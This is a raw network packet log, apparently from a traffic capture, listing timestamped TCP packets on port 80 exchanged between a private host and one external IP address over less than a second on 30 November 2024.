Nov 30, 2024 05:00:20.445575953 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.446371078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.446472883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.446515083 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.447307110 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.447366953 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.447410107 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.448261976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.448303938 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.448345900 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.449223042 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.449316978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.449358940 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.450160027 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.450239897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.450282097 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.451111078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.451153040 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.451195955 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.452052116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.452173948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.452214003 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.453016996 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.453120947 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.453160048 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.453953028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.454068899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.454113007 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.454899073 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.454996109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.455039024 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.455846071 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.455939054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.456007957 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.456795931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.456891060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.456932068 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.457741022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.457856894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.457896948 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.458688021 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.458803892 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.458846092 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.459638119 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.459743977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.459786892 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.460604906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.460705042 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.460747004 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.461541891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.461646080 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.461687088 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.462501049 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.462606907 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.462656021 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.463439941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.463540077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.463596106 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.464401007 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.464514017 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.464554071 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.465310097 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.505902052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.505960941 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.506078959 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.506354094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.506397963 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.506551981 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.506665945 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.506706953 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.507498026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.507606983 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.507652044 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.508443117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.508569002 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.508619070 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.509408951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.509428978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.509465933 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.510344028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.510447025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.510493040 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.511317968 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.555354118 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.623375893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.623425961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.623478889 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.623927116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.624017954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.624066114 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.624849081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.624926090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.624989986 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.625791073 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.625874996 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.625917912 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.626720905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.626794100 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.626844883 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.627703905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.627713919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.627758026 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.628623009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.628698111 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.628741026 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.629558086 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.629568100 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.629620075 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.630481005 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.630589008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.630647898 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.631444931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.631548882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.631592989 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.632401943 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.632498026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.632535934 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.633346081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.633451939 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.633567095 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.634290934 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.634399891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.634448051 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.635243893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.635361910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.635402918 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.636192083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.636290073 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.636405945 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.637131929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.637247086 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.637284994 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.638070107 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.638199091 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.638247967 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.639058113 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.639153957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.639209986 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.639987946 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.640090942 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.640139103 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.640922070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.641035080 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.641089916 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.641869068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.641979933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.642034054 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.642838955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.642935038 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.643018007 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.643784046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.643894911 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.643956900 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.644727945 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.644856930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.644912958 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.645673990 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.645791054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.645838022 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.646615028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.646733046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.646774054 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.647574902 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.647691011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.647733927 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.648524046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.648602962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.648662090 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.649486065 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.649605036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.649672031 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.650429964 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.650527000 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.650590897 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.651366949 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.651472092 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.651524067 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.652322054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.652415991 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.652462959 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.653279066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.653399944 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.653470039 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.654232025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.654350042 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.654464006 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.655179024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.655268908 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.655330896 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.656126976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.656234026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.656289101 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.657062054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.657164097 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.657223940 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.658015013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.658127069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.658174038 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.658998013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.659127951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.659234047 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.659944057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.660051107 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.660116911 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.660878897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.660985947 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.661040068 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.661802053 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.661926031 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.661983967 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.662761927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.662874937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.662919044 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.663707018 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.663811922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.663870096 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.664663076 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.664758921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.664807081 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.665605068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.665713072 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.665766954 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.666527987 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.707351923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.707412004 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.707478046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.707818985 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.707865000 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.707926989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.708808899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.708858967 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.708873034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.709742069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.709778070 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.709853888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.710686922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.710726023 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.710783005 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.711625099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.711678982 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.711733103 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.712594032 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.712630033 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.712641954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.758492947 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.824567080 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.824671030 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.824717045 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.824853897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.824961901 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.825005054 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.825793028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.825884104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.825927019 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.826714039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.826838970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.826903105 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.827697992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.827814102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.827878952 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.828625917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.828670979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.828711033 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.829580069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.829708099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.829750061 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.830542088 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.830660105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.830699921 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.831491947 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.831597090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.831641912 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.832432032 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.832519054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.832577944 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.833364964 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.833477974 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.833542109 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.834340096 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.834460974 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.834525108 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.835270882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.835381985 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.835419893 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.836239100 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.836352110 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.836412907 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.837153912 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.837280035 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.837325096 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.838125944 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.838232994 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.838284016 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.839067936 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.839169025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.839200974 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.840044975 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.840152025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.840192080 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.841041088 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.841078997 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.841134071 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.841929913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.842041969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.842154026 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.842880964 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.842995882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.843046904 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.843832970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.843961000 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.844017982 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.844794035 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.844899893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.844947100 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.845746994 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.845839024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.845881939 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.846677065 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.846798897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.846843004 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.847628117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.847726107 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.847776890 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.848573923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.848680019 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.848757029 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.849513054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.849574089 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.849622965 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.850472927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.850596905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.850658894 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.851435900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.851497889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.851546049 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.852382898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.852437019 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.852492094 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.853296995 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.853425026 CET	80	49732	141.8.197.146	192.168.2.4
